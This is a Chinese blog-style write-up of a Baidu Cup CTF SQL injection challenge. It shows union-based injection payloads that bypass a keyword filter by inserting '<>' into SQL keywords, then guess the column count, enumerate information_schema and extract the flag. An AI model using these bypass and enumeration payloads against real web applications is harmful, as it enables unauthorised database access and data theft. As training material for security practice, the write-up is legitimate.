百度杯CTF SQL注入测试

百度杯CTF SQL注入测试

题目链接:

https://www.ichunqiu.com/battalion?q=2597

访问ichunqiu所提供的链接:

从返回信息可知,该表名为info。

尝试后台可能过滤的特殊字符串

输入”,’ ;and 进行测试

输入“; select database()”

提示被拦截。

单独测试select、union、order by 等均出现这类情况。

目前思路就是尝试特殊字符大小写 例如SelEct ,/**/等 均无果。

最后看了writeup 提示<>未被拦截

所以使用到的关键字均加入<>,如unio<>n,selec<>t。

测试查询,database()

查询语句为 unio<>n selsec<>t database()

这里要提到一点就是union查询的使用方法:

题目未给出查询的有多少字段,所以,这里我们要进行一些猜测操作。

语句为:

1: unio<>n selec<>t database()

2: unio<>n selec<>t 1,database()

3: unio<>n selec<>t 1,2,database()

………

观察页面返回信息

我们可以得到 当进行第3列猜测时,页面返回了信息

其中数字2 返回了。

修改一下语句:unio<>n selec<>t 1,database(),2

可得:

好了,至此我们知道了绕过特殊字符串方式,还有union查询方式。

所以,下面开始查询表名信息

踩坑点:

当查询info表中字段时:输入语句unio<>n selec<>t 1,column_name,3 fro<>m information_schema.columns wher<>e table_name=’info’ 无字段信息出现。

纳闷了,找了半天原因。

是我’’ 单引号输错了 哈哈哈哈哈 握草。

最终返回字段信息

flAg_T5ZNdrm

查询该字段值:

unio<>n selec<>t 1,flAg_T5ZNdrm,3 fro<>m info

得flag{48602385-dbc2-4eaf-b173-3480f6efd21f}

发表评论

电子邮件地址不会被公开。 必填项已用*标注